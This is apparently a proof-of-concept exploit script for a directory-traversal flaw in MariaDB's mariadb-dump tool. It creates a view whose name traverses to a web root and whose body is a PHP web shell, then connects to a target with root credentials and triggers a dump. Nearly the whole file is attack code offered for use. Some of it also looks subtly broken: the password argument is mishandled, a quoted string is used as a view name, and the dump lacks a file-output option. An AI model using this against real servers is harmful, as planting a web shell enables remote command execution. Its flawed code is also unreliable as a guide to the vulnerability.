# CVE-2025-13699 PoC - MariaDB mariadb-dump Directory Traversal RCE
# Reference: ZDI-CAN-27000
import socket
import subprocess
import sys
def exploit_mariadb_dump(target_ip, target_port=3306):
"""
Exploit for CVE-2025-13699: MariaDB mariadb-dump Directory Traversal
This PoC demonstrates how a malicious view name with directory traversal
can be used to write files to arbitrary locations via mariadb-dump.
Prerequisites:
- Valid MariaDB credentials
- Ability to create views
- Access to mariadb-dump utility
"""
# Malicious view name with directory traversal
# This pattern exploits the lack of path validation in mariadb-dump
malicious_view_name = "'../../../../../../var/www/html/shell.php'"
# SQL to create malicious view
create_view_sql = f"""
CREATE OR REPLACE VIEW {malicious_view_name} AS
SELECT '<?php system($_GET["cmd"]); ?>' AS payload;
"""
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[*] Creating malicious view with directory traversal...")
print(f"[*] View name: {malicious_view_name}")
try:
# Connect to MariaDB and execute malicious SQL
# Using mysql client or pymysql
subprocess.run([
'mysql', '-h', target_ip, '-P', str(target_port),
'-u', 'root', '-p', 'password',
'-e', create_view_sql
], check=True, capture_output=True)
print("[+] Malicious view created successfully")
print("[*] Now triggering mariadb-dump to trigger file write...")
# Trigger mariadb-dump with the malicious view
# This will cause mariadb-dump to write to the traversed path
dump_cmd = [
'mariadb-dump', '-h', target_ip, '-P', str(target_port),
'-u', 'root', '-p', 'password',
'--single-transaction',
'--all-databases'
]
result = subprocess.run(dump_cmd, capture_output=True, text=True)
if result.returncode == 0:
print("[+] mariadb-dump executed successfully")
print("[*] Check for written shell at /var/www/html/shell.php")
else:
print(f"[-] mariadb-dump failed: {result.stderr}")
except subprocess.CalledProcessError as e:
print(f"[-] Execution failed: {e}")
except FileNotFoundError:
print("[-] MySQL client not found. Please install mysql-client or pymysql.")
def check_vulnerability(target_ip):
"""
Check if target is vulnerable to CVE-2025-13699
"""
print(f"[*] Checking vulnerability status for {target_ip}...")
# Version check would go here
print("[*] Please verify MariaDB version < 10.11.x or unpatched versions")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-13699.py <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 3306
check_vulnerability(target)
exploit_mariadb_dump(target, port)
# Note: This is a conceptual PoC. Actual exploitation requires:
# 1. Valid database credentials
# 2. CREATE VIEW privileges
# 3. Access to mariadb-dump utility
# 4. Knowledge of target filesystem layout